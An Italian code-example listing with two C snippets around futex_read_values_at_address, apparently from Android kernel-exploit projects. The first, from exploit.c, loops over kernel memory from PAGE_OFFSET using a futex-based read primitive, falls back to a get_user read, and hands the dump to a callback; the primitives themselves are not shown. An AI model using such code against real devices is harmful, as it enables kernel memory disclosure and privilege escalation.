Esempi in C++ (Cpp) per futex_read_values_at_address

Esempio n. 1

File: exploit.c Progetto: bincker/libexploit

bool
attempt_memcpy_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
  void *mem;
  int i;
  bool result;

  printf("Try copying kernel memory... It will take a long time.\n");

  mem = malloc(KERNEL_SIZE);
  if (!mem) {
    printf("malloc(): failed\n");
  }

  result = true;

  printf("Attempt futex exploit...\n");
  for (i = 0x00008000; i < KERNEL_SIZE; i += 4 * FUTEX_REQUEUE_MAX_REQUEST_COUNT) {
    if (!futex_read_values_at_address(PAGE_OFFSET + i, mem + i, FUTEX_REQUEUE_MAX_REQUEST_COUNT)) {
      result = false;
      break;
    }
  }

  if (!result) {
    result = true;

    printf("Attempt get_user exploit...\n");
    for (i = 0x00008000; i < KERNEL_SIZE; i += 4) {
      if (!get_user_read_value_at_address(PAGE_OFFSET + i, mem + i)) {
	result = false;
	break;
      }
    }
  }

  if (result) {
    result = callback_func(mem, KERNEL_SIZE, callback_param);
  }

  free(mem);

  return result;
}

Esempio n. 2

File: futex.c Progetto: stayboogy/get_essential_address

bool
futex_read_value_at_address(unsigned long address, int *value)
{
  return futex_read_values_at_address(address, value, 1);
}